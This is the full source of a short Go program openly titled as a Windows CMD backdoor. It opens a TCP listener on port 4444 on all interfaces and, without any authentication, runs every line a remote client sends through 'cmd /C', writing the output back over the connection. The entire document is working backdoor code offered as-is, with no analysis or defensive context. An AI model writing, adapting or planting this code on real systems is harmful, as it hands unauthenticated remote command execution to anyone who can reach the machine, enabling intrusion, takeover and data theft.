Golang Windows CMD BackDoor

package main

import (
   "net"
   "bufio"
   "os/exec"
   "fmt"
)

const (
   TYPE = "tcp"
   ADDRESS = "0.0.0.0:4444")

func main() {
      l, err := net.Listen(TYPE, ADDRESS)
      checkErr(err)

      defer l.Close()

      for ;true;{
         conn, err := l.Accept();
         checkErr(err)

         go handleRequest(conn)
      }
}

func handleRequest(conn net.Conn) {
   scanner := bufio.NewScanner(conn);
   for  {
      recv := scanner.Scan()
      command := scanner.Text();
      if !recv || "exit" == command {
         break;
      }

      cmd, err := exec.Command("cmd", "/C " + command).Output()

      if(err!= nil) {
         conn.Write([]byte(err.Error()+ "\r\n") )
      } else {
         conn.Write(cmd);
      }

      checkErr(err);

      conn.Write([]byte("---------------------------------------------\r\n"));
      conn.Write([]byte("\r\n"));
   }

   conn.Close();
}

func checkErr(err error) {
   if(err != nil) {
      fmt.Println(err.Error())
   }
}